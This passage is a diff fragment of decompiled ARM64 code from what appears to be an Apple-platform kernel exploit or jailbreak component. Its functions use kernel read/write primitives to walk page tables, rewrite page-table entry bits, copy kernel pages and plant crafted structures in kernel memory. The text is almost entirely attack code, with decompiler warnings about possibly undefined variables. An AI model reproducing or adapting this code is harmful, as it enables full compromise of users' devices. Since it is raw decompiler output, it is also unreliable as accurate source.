+ 0x1A0); + *(_QWORD *)(v273 + 0x10) = 0LL; + *(_QWORD *)(v273 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v273 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v273 + 0x108) = xmmword_431D0; + *(_QWORD *)(v273 + 0x118) = 0x10LL; + v274 = v273 + v236; + *(_QWORD *)v274 = *(_QWORD *)(v233 + 0x208); + *(_QWORD *)(v274 + 8) = *(_QWORD *)(v233 + 0x1A0); + *(_QWORD *)(v274 + 0x10) = 0LL; + *(_QWORD *)(v274 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v274 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v274 + 0x108) = xmmword_431D0; + *(_QWORD *)(v274 + 0x118) = 0x10LL; + v275 = v274 + v236; + *(_QWORD *)v275 = *(_QWORD *)(v233 + 0x220); + *(_QWORD *)(v275 + 8) = *(_QWORD *)(v233 + 0x368); + *(_QWORD *)(v275 + 0x10) = 0LL; + *(_QWORD *)(v275 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v275 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v275 + 0x108) = xmmword_431D0; + *(_QWORD *)(v275 + 0x118) = 0x10LL; + v276 = v275 + v236; + *(_QWORD *)(v276 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v276 + 0x100) = *(_QWORD *)(v233 + 0x1B8); + *(_OWORD *)(v276 + 0x108) = xmmword_431D0; + *(_QWORD *)(v276 + 0x118) = 0x10LL; + v277 = v276 + v236; + *(_QWORD *)v277 = *(_QWORD *)(v233 + 0x320); + *(_QWORD *)(v277 + 8) = *(_QWORD *)(v233 + 0x328); + *(_QWORD *)(v277 + 0x10) = 0LL; + *(_QWORD *)(v277 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v277 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v277 + 0x108) = xmmword_431D0; + *(_QWORD *)(v277 + 0x118) = 0x10LL; + v278 = v277 + v236; + *(_QWORD *)v278 = *(_QWORD *)(v233 + 0x1A0) + 0xE0LL; + *(_QWORD *)(v278 + 0x10) = 0LL; + *(_QWORD *)(v278 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); + *(_QWORD *)(v278 + 0x100) = *(_QWORD *)(v233 + 0x1D8); + *(_OWORD *)(v278 + 0x108) = xmmword_431D0; + *(_QWORD *)(v278 + 0x118) = 0x10LL; + if ( *(_BYTE *)v233 ) + { + v279 = v242 >> 8; + } + else + { + v279 = v242 >> 8; + if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v242 >> 8) ) + { +LABEL_417: + if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)&v343) ) + { +LABEL_428: + v1 = 0x2800FLL; + goto LABEL_430; + } + v280 = 0; + while ( 1 ) + { + if ( (_QWORD)v343 == *(_QWORD *)(v233 + 0x328) ) + { + v1 = 0LL; +LABEL_430: + sub_38BCC(a1); + goto LABEL_431; + } + if ( (v280 & 1) == 0 ) + { + if ( *(_BYTE *)v233 || (*(_DWORD *)(v303 + 0x390) & 0xF0) != 0 ) + { + v280 = 0; + goto LABEL_425; + } + sub_193C0(a1, *(_QWORD *)(v233 + 0x348), 0); + } + v280 = 1; +LABEL_425: + sub_2AABC(a1, 0x3E8u); + if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)&v343) ) + goto LABEL_428; + } + } + *((_QWORD *)v241 + 0x20) = *(_QWORD *)(v233 + 0x168); + *(_BYTE *)v233 = 1; + } + sub_19354(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v279); + goto LABEL_417; + } + if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) + v251 = 0x340LL; + else + v251 = 0x350LL; + v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 0x158), inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_431; + v252 = *(_QWORD *)inputStruct; + v253 = (char *)v234 + inputStruct[0]; + v254 = v253 + 0xC00; + v255 = v235 + inputStruct[0] + 0xC00; + *((_QWORD *)v253 + 0x180) = *(_QWORD *)(v233 + 0x178); + *((_QWORD *)v253 + 0x182) = 0LL; + *((_QWORD *)v253 + 0x181) = 0LL; + *((_QWORD *)v253 + 0x19E) = *(_QWORD *)(v233 + 0x170); + *((_QWORD *)v253 + 0x19F) = v255 + v251; + if ( *(_BYTE *)v233 ) + v256 = *(_QWORD *)(v233 + 0x168); + else + v256 = *(_QWORD *)(v233 + 0x168) + 4LL; + *((_QWORD *)v253 + 0x1A0) = v256; + *(_OWORD *)(v253 + 0xD08) = xmmword_431D0; + *((_QWORD *)v253 + 0x1A3) = 0x10LL; + v257 = &v254[v251]; + *(_QWORD *)v257 = *(_QWORD *)(v233 + 0x158); + *((_QWORD *)v257 + 1) = v252; + *((_QWORD *)v257 + 2) = 0LL; + *((_QWORD *)v257 + 0x1E) = *(_QWORD *)(v233 + 0x170); + *((_QWORD *)v257 + 0x20) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)&v254[v251 + 0x108] = xmmword_431D0; + *((_QWORD *)v257 + 0x23) = 0x10LL; + v258 = (__int64)&v254[v251 + v251]; + *(_QWORD *)(v258 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v258 + 0x100) = *(_QWORD *)(v233 + 0x198); + *(_OWORD *)(v258 + 0x108) = xmmword_431D0; + *(_QWORD *)(v258 + 0x118) = 0x10LL; + v259 = v258 + v251; + *(_QWORD *)v259 = *(_QWORD *)(v233 + 0x1A0) + 0x108LL; + *(_QWORD *)(v259 + 8) = *(_QWORD *)(v233 + 0x2F8); + *(_QWORD *)(v259 + 0x10) = 0LL; + *(_QWORD *)(v259 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v259 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v259 + 0x108) = xmmword_431D0; + *(_QWORD *)(v259 + 0x118) = 0x10LL; + v260 = v259 + v251; + *(_QWORD *)v260 = *(_QWORD *)(v233 + 0x1A0) + 0xD8LL; + *(_QWORD *)(v260 + 8) = v252; + *(_QWORD *)(v260 + 0x10) = 0LL; + *(_QWORD *)(v260 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v260 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v260 + 0x108) = xmmword_431D0; + *(_QWORD *)(v260 + 0x118) = 0x10LL; + v261 = (_QWORD *)(v260 + v251); + *v261 = *(_QWORD *)(v233 + 0x1A0) + 0xC8LL; + v261[1] = v255 + 9 * v251; + v261[2] = 0LL; + v261[0x1E] = *(_QWORD *)(v233 + 0x170); + v261[0x20] = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v260 + v251 + 0x108) = xmmword_431D0; + v261[0x23] = 0x10LL; + v262 = v260 + v251 + v251; + *(_QWORD *)v262 = *(_QWORD *)(v233 + 0x188) + 8LL; + *(_QWORD *)(v262 + 8) = 0LL; + *(_QWORD *)(v262 + 0x10) = 0LL; + *(_QWORD *)(v262 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v262 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v262 + 0x108) = xmmword_431D0; + *(_QWORD *)(v262 + 0x118) = 0x10LL; + v263 = v262 + v251; + *(_QWORD *)(v263 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v263 + 0x100) = *(_QWORD *)(v233 + 0x1A8); + *(_OWORD *)(v263 + 0x108) = xmmword_431D0; + *(_QWORD *)(v263 + 0x118) = 0x10LL; + v264 = v263 + v251; + *(_QWORD *)v264 = *(_QWORD *)(v233 + 0x190); + *(_OWORD *)(v264 + 8) = xmmword_431F0; + *(_QWORD *)(v264 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); + *(_QWORD *)(v264 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v264 + 0x108) = xmmword_431D0; + *(_QWORD *)(v264 + 0x118) = 0x10LL; + v265 = v264 + v251; + *(_QWORD *)v265 = *(_QWORD *)(v233 + 0x320); + *(_QWORD *)(v265 + 8) = *(_QWORD *)(v233 + 0x328); + *(_QWORD *)(v265 + 0x10) = 0LL; + *(_QWORD *)(v265 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v265 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v265 + 0x108) = xmmword_431D0; + *(_QWORD *)(v265 + 0x118) = 0x10LL; + v266 = v265 + v251; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) + { + *(_QWORD *)v266 = *(_QWORD *)(v233 + 0x330); + *(_QWORD *)(v266 + 8) = *(_QWORD *)(v233 + 0x338); + *(_QWORD *)(v266 + 0x10) = 0LL; + *(_QWORD *)(v266 + 0xF0) = *(_QWORD *)(v233 + 0x170); + *(_QWORD *)(v266 + 0x100) = *(_QWORD *)(v233 + 0x168); + *(_OWORD *)(v266 + 0x108) = xmmword_431D0; + *(_QWORD *)(v266 + 0x118) = 0x10LL; + v267 = (_QWORD *)(v266 + v251); + v267[0x1E] = *(_QWORD *)(v233 + 0x170); + v267[0x20] = *(_QWORD *)(v233 + 0x1B8); + *(_OWORD *)(v266 + v251 + 0x108) = xmmword_431D0; + v267[0x23] = 0x10LL; + v266 += v251 + v251; + } + *(_QWORD *)v266 = 0LL; + *(_QWORD *)(v266 + 0x100) = *(_QWORD *)(v233 + 0x160); + *(_OWORD *)(v266 + 0x108) = xmmword_431E0; + *(_QWORD *)(v266 + 0x118) = 0x10LL; + if ( *(_BYTE *)v233 ) + { + v268 = v255 >> 8; + } + else + { + v268 = v255 >> 8; + if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v268) ) + goto LABEL_407; + *((_QWORD *)v254 + 0x20) = *(_QWORD *)(v233 + 0x168); + } + sub_19354(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v268); + while ( 1 ) + { +LABEL_407: + if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)src_address) ) + { + v1 = 0x2800FLL; + goto LABEL_431; + } + if ( src_address[0] == *(_QWORD *)(v233 + 0x328) ) + break; + sub_2AABC(a1, 0x3E8u); + } + v1 = 0LL; +LABEL_431: + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = 0xAD009LL; + v281 = *(_QWORD *)(a1 + 0x1D58); + *(_DWORD *)inputStruct = 0x228; + if ( *(_QWORD *)(a1 + 0x118) && *(_QWORD *)(a1 + 0x120) ) + { + v282 = sub_37210(a1, (unsigned int *)inputStruct); + if ( !v282 ) + goto LABEL_27; + v283 = v282; + if ( !(unsigned int)kwritebuf_last_1(a1, v282, v281 + 0x2F8, *(unsigned int *)inputStruct) ) + { + v1 = 0x28010LL; + goto LABEL_27; + } + *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x160LL) = v283; + } + return 0LL; + } + v1 = 0xAD009LL; + v202 = *(_QWORD *)(a1 + 0x1D58); + v203 = *(_QWORD *)(v202 + 0x258); + v204 = *(_QWORD *)(v202 + 0x260); + LODWORD(size[0]) = 0x4000; + if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v202 + 0x250), 8LL, (__int64)&outputStruct) + || (v205 = *(_QWORD **)(a1 + 0x1D58), + v206 = v205[0x4A], + v207 = v205[0x60], + LODWORD(input[0]) = 0x4000, + !(unsigned int)kreadbuf_last_1(a1, v206, 8LL, (__int64)v316)) + || (v208 = sub_18B14()) == 0 + || !(unsigned int)kreadbuf_last_1(a1, v208, 8LL, (__int64)address) + || (v209 = sub_18B14()) == 0 ) + { +LABEL_370: + v1 = v47; + goto LABEL_27; + } + v210 = v209; + v301 = sub_3796C(a1, input); + if ( !v301 ) + goto LABEL_27; + sub_2183C(a1, v301 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); + if ( !v211 ) + goto LABEL_369; + v212 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_369; + v296 = sub_3796C(a1, input); + if ( !v296 ) + { + v47 = 0xAD009LL; +LABEL_369: + sub_36E4C(a1, v301, LODWORD(input[0])); + goto LABEL_370; + } + sub_2183C(a1, v296 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); + if ( !v213 || (v291 = v345 & 0xFFFFFFFFC000LL, (v345 & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_368: + sub_36E4C(a1, v296, LODWORD(input[0])); + goto LABEL_369; + } + *(_QWORD *)v316 = *(_QWORD *)v316 & 0xFFFF000000003FFFLL | v212; + if ( !(unsigned int)kwritebuf_last_1(a1, v207, (__int64)v316, 8LL) + || (address[0] = address[0] & 0xFFFF000000003FFFLL | v291, + !(unsigned int)kwritebuf_last_1(a1, v301, (__int64)address, 8LL)) ) + { +LABEL_367: + v47 = 0x28010LL; + goto LABEL_368; + } + for ( i = 0LL; i != 0x4000; i += 8LL ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, v210 + i, 8LL, (__int64)target_address) ) + goto LABEL_368; + if ( target_address[0] && !(unsigned int)kwritebuf_last_1(a1, v296 + i, (__int64)target_address, 8LL) ) + goto LABEL_367; + } + v205[0x9F] = v301; + v205[0xA0] = v296; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x218), v202 + 0x370); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19128(a1, *(_QWORD *)(v202 + 0x220), *(_QWORD *)(v202 + 0x2F8)); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x230), v202 + 0x3A8); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x238), v202 + 0x3E0); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x240), v202 + 0x418); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x248), v202 + 0x450); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x210) & ~*(_QWORD *)(a1 + 0x188), v202 + 0x488); + if ( (_DWORD)v1 ) + goto LABEL_27; + *(_QWORD *)((*(_QWORD *)(a1 + 0x188) & *(_QWORD *)(v202 + 0x210)) + *(_QWORD *)(v202 + 0x488)) = 0x4028LL; + v302 = (__int64 *)calloc(0x800uLL, 8uLL); + if ( !v302 ) + { + v1 = 0xAD009LL; + goto LABEL_27; + } + v215 = 0LL; + *(_QWORD *)v297 = *(_QWORD *)(v202 + 0x130) - *(_QWORD *)(v202 + 0x110); + while ( 2 ) + { + v216 = sub_37210(a1, (unsigned int *)size); + if ( !v216 ) + { + v1 = 0xAD009LL; + goto LABEL_378; + } + v217 = v216; + sub_2183C(a1, v216 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); + v218 = v345 & 0xFFFFFFFFC000LL; + if ( v219 ) + v220 = v218 == 0; + else + v220 = 1; + if ( v220 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_378; + } + v221 = v218 + *(_QWORD *)v297; + if ( (unsigned __int64)(v218 + *(_QWORD *)v297 + 0x7FFDFFFFFFLL) < 0xFFDFFFFFFLL ) + goto LABEL_356; + v302[v215++] = v217; + if ( v215 != 0x800 ) + continue; + break; + } + if ( !v221 ) + { + v1 = 0xFFFFFFFFLL; +LABEL_379: + v229 = (unsigned int)v215; + v230 = v302; + do + { + v231 = *v230++; + sub_36E4C(a1, v231, LODWORD(size[0])); + --v229; + } + while ( v229 ); +LABEL_381: + free(v302); + if ( (_DWORD)v1 ) + goto LABEL_27; + goto LABEL_382; + } +LABEL_356: + v289 = *(_QWORD *)(a1 + 0x188); + v292 = *(_QWORD *)(v202 + 0x1A0); + v298 = sub_18EA4(a1, v292, 0LL, 1); + if ( !v298 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_377; + } + *(_OWORD *)&v339[0x10] = 0u; + *(_OWORD *)v339 = 0u; + v338 = 0u; + v337 = 0u; + v336 = 0u; + v335 = 0u; + v334 = 0u; + v333 = 0u; + v332 = 0u; + v331 = 0u; + v330 = 0u; + v329 = 0u; + v328 = 0u; + v327 = 0u; + v326 = 0u; + *(_OWORD *)&inputStruct[8] = 0u; + v222 = *(_QWORD *)(v202 + 0x218); + *(_QWORD *)inputStruct = *(_QWORD *)(v202 + 0x170); + *(_QWORD *)&v337 = v222; + v223 = *(_QWORD *)(v202 + 0x230); + *((_QWORD *)&v337 + 1) = *(_QWORD *)(v202 + 0x1E0); + *(_QWORD *)&v338 = v223; + DWORD2(v338) = 0x30DD1985; + *(_DWORD *)v339 = 0x300000; + *(_OWORD *)&v339[8] = xmmword_43190; + v224 = *(_QWORD *)(v202 + 0x2F8); + *(_QWORD *)v293 = v289 & v292; + v341 = *(_QWORD *)(v202 + 0x1C8); + v340 = v224; + if ( !(unsigned int)kwritebuf_last_1(a1, *(_QWORD *)v293 + v217, (__int64)inputStruct, 0x118LL) ) + { + v1 = 0x28010LL; + goto LABEL_377; + } + v225 = *(_QWORD *)v293 + v221; + v1 = sub_19128(a1, v225 & ~*(_QWORD *)(a1 + 0x188), v218); + if ( (_DWORD)v1 ) + { +LABEL_377: + sub_36E4C(a1, v217, LODWORD(size[0])); +LABEL_378: + if ( !(_DWORD)v215 ) + goto LABEL_381; + goto LABEL_379; + } + v226 = *(_QWORD *)(v202 + 0x1E0); + src_address[0] = *(_QWORD *)(v202 + 0x1E8); + src_address[1] = 0x3C4LL; + v227 = *(_QWORD *)(v202 + 0x238) + (unsigned int)(*(_DWORD *)(a1 + 0x180) - 0x10); + memset(&src_address[0x1C], 0, 0x38); + memset(&src_address[2], 0, 0xB8); + src_address[0x19] = v227; + *(_OWORD *)&src_address[0x1A] = v226; + v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x228), v202 + 0x4C0); + if ( !(_DWORD)v1 ) + { + memcpy(*(void **)(v202 + 0x4C0), src_address, 0x118uLL); + *(_DWORD *)(v203 + 0x3F40) = 0x10; + *(_QWORD *)(v203 + 0x3F48) = v204 + 0x3F50; + *(_QWORD *)(v203 + 0x3F50) = v225 >> 0xE; + *(_QWORD *)(v203 + 0x3F58) = v298 >> 0xE; + *(_OWORD *)(v203 + 0x3F60) = xmmword_431A0; + v228 = vdupq_n_s64(v204); + *(_DWORD *)(v203 + 0x3FA0) = 0x24; + *(_QWORD *)(v203 + 0x3FA8) = *(_QWORD *)(v202 + 0x200); + *(int64x2_t *)(v202 + 0x340) = vaddq_s64(v228, (int64x2_t)xmmword_431C0); + *(int64x2_t *)(v202 + 0x350) = vaddq_s64(v228, (int64x2_t)xmmword_431B0); + *(_QWORD *)(v202 + 0x360) = v225; + *(_QWORD *)(v202 + 0x368) = outputStruct; + goto LABEL_378; + } +LABEL_27: + *(_QWORD *)(a1 + 0x1D58) = 0LL; + free(v4); + return v1; +} +// 16B40: variable 'v87' is possibly undefined +// 16B68: variable 'v89' is possibly undefined +// 17804: variable 'v183' is possibly undefined +// 1785C: variable 'v187' is possibly undefined +// 17890: variable 'v189' is possibly undefined +// 178CC: variable 'v190' is possibly undefined +// 17904: variable 'v191' is possibly undefined +// 17924: variable 'v192' is possibly undefined +// 17A20: variable 'v197' is possibly undefined +// 17A68: variable 'v198' is possibly undefined +// 17CCC: variable 'v211' is possibly undefined +// 17D08: variable 'v213' is possibly undefined +// 17EF0: variable 'v219' is possibly undefined +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); +// 42FA0: using guessed type __int128 xmmword_42FA0; +// 42FB0: using guessed type __int128 xmmword_42FB0; +// 42FC0: using guessed type __int128 xmmword_42FC0; +// 42FD0: using guessed type __int128 xmmword_42FD0; +// 42FE0: using guessed type __int128 xmmword_42FE0; +// 42FF0: using guessed type __int128 xmmword_42FF0; +// 43000: using guessed type __int128 xmmword_43000; +// 43010: using guessed type __int128 xmmword_43010; +// 43020: using guessed type __int128 xmmword_43020; +// 43030: using guessed type __int128 xmmword_43030; +// 43040: using guessed type __int128 xmmword_43040; +// 43050: using guessed type __int128 xmmword_43050; +// 43060: using guessed type __int128 xmmword_43060; +// 43070: using guessed type __int128 xmmword_43070; +// 43080: using guessed type __int128 xmmword_43080; +// 43090: using guessed type __int128 xmmword_43090; +// 430A0: using guessed type __int128 xmmword_430A0; +// 430B0: using guessed type __int128 xmmword_430B0; +// 430C0: using guessed type __int128 xmmword_430C0; +// 430D0: using guessed type __int128 xmmword_430D0; +// 430E0: using guessed type __int128 xmmword_430E0; +// 430F0: using guessed type __int128 xmmword_430F0; +// 43100: using guessed type __int128 xmmword_43100; +// 43110: using guessed type __int128 xmmword_43110; +// 43120: using guessed type __int128 xmmword_43120; +// 43130: using guessed type __int128 xmmword_43130; +// 43140: using guessed type __int128 xmmword_43140; +// 43150: using guessed type __int128 xmmword_43150; +// 43160: using guessed type __int128 xmmword_43160; +// 43170: using guessed type __int128 xmmword_43170; +// 43180: using guessed type __int128 xmmword_43180; +// 43190: using guessed type __int128 xmmword_43190; +// 431A0: using guessed type __int128 xmmword_431A0; +// 431B0: using guessed type __int128 xmmword_431B0; +// 431C0: using guessed type __int128 xmmword_431C0; +// 431D0: using guessed type __int128 xmmword_431D0; +// 431E0: using guessed type __int128 xmmword_431E0; +// 431F0: using guessed type __int128 xmmword_431F0; +// 43750: using guessed type __int128 xmmword_43750; + +//----- (0000000000018B14) ---------------------------------------------------- +unsigned __int64 sub_18B14() +{ + __int64 v0; // x0 + __int64 v1; // x1 + __int64 v2; // x20 + _DWORD *v3; // x21 + unsigned __int64 v4; // x19 + unsigned __int64 v5; // x23 + int v6; // w22 + int v7; // w24 + _BOOL4 has_flag; // w0 + unsigned __int64 v10; // x0 + __int64 v11; // x28 + __int64 v12; // x26 + __int64 v13; // x27 + unsigned __int64 v14; // x8 + __int64 v15; // x0 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x9 + bool v18; // zf + __int64 v19; // x22 + __int64 v20; // x0 + __int64 v22; // [xsp+8h] [xbp-4078h] BYREF + __int64 v23; // [xsp+10h] [xbp-4070h] BYREF + __int64 v24; // [xsp+18h] [xbp-4068h] BYREF + _QWORD v25[2048]; // [xsp+20h] [xbp-4060h] BYREF + + v0 = __chkstk_darwin(); + v2 = v1; + v3 = (_DWORD *)v0; + v4 = *(_QWORD *)(v0 + 0x19E8); + v5 = *(_QWORD *)(v0 + 0x19F0); + v6 = number_of_cpus(); + if ( krw_ctx_has_flag(v3, 0x5000008) ) + { + v7 = 0x7FF; + } + else + { + has_flag = krw_ctx_has_flag(v3, 0x180000); + if ( v6 <= 7 || !has_flag ) + v7 = 7; + else + v7 = 0x7FF; + } + v10 = sub_21388((__int64)v3); + if ( v10 && (unsigned int)kreadbuf_last_1((__int64)v3, v10, 8LL, (__int64)&v24) ) + { + if ( v4 < v5 ) + { + v11 = 0LL; + v12 = 0LL; + v13 = 0LL; + while ( 1 ) + { + v14 = *(_QWORD *)&v7 & (v4 >> 0x24); + if ( v24 + 8 * v14 != v12 ) + { + v12 = v24 + 8 * v14; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v12, 8LL, (__int64)&v23) ) + return 0LL; + } + if ( (v23 & 1) == 0 ) + break; + v15 = sub_386AC((__int64)v3, v23 & 0xFFFFFFFFC000LL); + if ( !v15 ) + break; + v19 = v15 + ((v4 >> 0x16) & 0x3FF8); + if ( v11 != v19 ) + { + v11 = v15 + ((v4 >> 0x16) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v19, 8LL, (__int64)&v22) ) + return 0LL; + } + if ( (v22 & 1) == 0 ) + goto LABEL_29; + if ( (v22 & 2) == 0 && (v22 & 0xFFFFFE000000LL) == v2 ) + return v4; + v20 = sub_386AC((__int64)v3, v22 & 0xFFFFFFFFC000LL); + if ( !v20 ) + { +LABEL_29: + v16 = v4 + 0x2000000; + v17 = (v4 + 0x2000000) & 0xFFFFFFFFFE000000LL; + v18 = v17 == 0; +LABEL_18: + if ( v18 ) + v4 = v16; + else + v4 = v17; + goto LABEL_21; + } + if ( v13 != v20 ) + { + v13 = v20; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v20, 0x4000LL, (__int64)v25) ) + return 0LL; + } + if ( (v25[(v4 >> 0xE) & 0x7FF] & 0xFFFFFFFFC000LL) == v2 ) + { + v4 |= 0xFFFFF00000000000LL; + return v4; + } + v4 += (unsigned int)v3[0x60]; +LABEL_21: + if ( v4 >= v5 ) + goto LABEL_34; + } + v16 = v4 + 0x1000000000LL; + v17 = (v4 + 0x1000000000LL) & 0xFFFFFFF000000000LL; + v18 = v17 == 0; + goto LABEL_18; + } +LABEL_34: + if ( v4 - 1 == v5 ) + return 0LL; + } + return v4; +} +// 18B4C: variable 'v1' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (0000000000018D68) ---------------------------------------------------- +char *__fastcall sub_18D68(__int64 a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) +{ + __int64 v4; // x8 + char *result; // x0 + char *v6; // x8 + char *v7; // x11 + __int64 v9; // x11 + + v4 = *(_QWORD *)(a1 + 0x1D58); + result = *(char **)(v4 + 0x148); + v6 = &result[*(_QWORD *)(v4 + 0x150)]; + if ( result >= v6 ) + return 0LL; + while ( (*a3 & *(_DWORD *)result) != *a2 ) + { +LABEL_12: + result += 4; + if ( result >= v6 ) + return 0LL; + } + v7 = &result[4 * a4]; + if ( v7 < v6 && a4 >= 2 ) + { + v9 = 1LL; + while ( (a3[v9] & *(_DWORD *)&result[4 * v9]) == a2[v9] ) + { + if ( a4 == ++v9 ) + return result; + } + goto LABEL_12; + } + if ( v7 >= v6 ) + return 0LL; + return result; +} + +//----- (0000000000018DF0) ---------------------------------------------------- +__int64 __fastcall sub_18DF0(__int64 a1, unsigned __int64 a2, _QWORD *a3) +{ + _QWORD *v4; // x9 + unsigned __int64 v5; // x8 + __int64 v6; // x8 + unsigned __int64 v7; // x10 + __int64 v8; // x20 + __int64 v10; // [xsp+8h] [xbp-18h] BYREF + + v4 = *(_QWORD **)(a1 + 0x1D58); + v5 = v4[0x25]; + if ( v5 > a2 || v4[0x27] + v5 <= a2 ) + v6 = 0LL; + else + v6 = a2 - v5 + v4[0x1F]; + v7 = v4[0x26]; + if ( v7 <= a2 && v4[0x28] + v7 > a2 ) + v6 = a2 - v7 + v4[0x20]; + v8 = 0x2800FLL; + if ( v6 && (unsigned int)kreadbuf_last_1(a1, v6, 8LL, (__int64)&v10) ) + { + v8 = 0LL; + *a3 = v10; + } + return v8; +} + +//----- (0000000000018EA4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_18EA4(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x23 + __int64 v10; // [xsp+8h] [xbp-48h] BYREF + __int64 v11; // [xsp+10h] [xbp-40h] BYREF + __int64 v12; // [xsp+18h] [xbp-38h] BYREF + + if ( !(unsigned int)kreadbuf_last_1( + a1, + *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x250LL) + ((a2 >> 0x21) & 0x38), + 8LL, + (__int64)&v12) + || (v12 & 1) == 0 ) + { + return 0LL; + } + if ( (a4 & 1) != 0 ) + { + result = sub_18B14(); + if ( !result ) + return result; + } + else + { + result = sub_386AC(a1, v12 & 0xFFFFFFFFC000LL); + if ( !result ) + return result; + } + v9 = result + ((a2 >> 0x16) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1(a1, v9, 8LL, (__int64)&v11) || (v11 & 1) == 0 ) + return 0LL; + if ( (v11 & 2) == 0 ) + { + result = v11 & 0xFFFFFE000000LL; + if ( !a3 ) + return result; +LABEL_13: + *a3 = v9; + return result; + } + if ( (a4 & 1) != 0 ) + result = sub_18B14(); + else + result = sub_386AC(a1, v11 & 0xFFFFFFFFC000LL); + if ( result ) + { + v9 = result + ((a2 >> 0xB) & 0x3FF8); + if ( (unsigned int)kreadbuf_last_1(a1, v9, 8LL, (__int64)&v10) && (v10 & 1) != 0 ) + { + result = v10 & 0xFFFFFFFFC000LL; + if ( !a3 ) + return result; + goto LABEL_13; + } + return 0LL; + } + return result; +} + +//----- (0000000000018FCC) ---------------------------------------------------- +__int64 __fastcall sub_18FCC(__int64 a1, unsigned __int64 a2, _QWORD *a3) +{ + unsigned __int64 v6; // x0 + __int64 result; // x0 + + v6 = sub_18EA4(a1, a2, 0LL, 0); + if ( !v6 ) + return 0x2800FLL; + result = physwrite_maybe(a1, v6, a3 + 3); + if ( !(_DWORD)result ) + { + *a3 = a3[3]; + a3[1] = a2; + a3[2] = *(unsigned int *)(a1 + 0x180); + } + return result; +} +// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); + +//----- (0000000000019040) ---------------------------------------------------- +__int64 __fastcall sub_19040(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + __int64 v6; // x0 + int v7; // w21 + __int64 v8; // x23 + int v9; // w0 + bool v10; // zf + __int64 v11; // x22 + __int64 v12; // x0 + unsigned int size; // [xsp+4h] [xbp-5Ch] BYREF + vm_size_t size_4; // [xsp+8h] [xbp-58h] BYREF 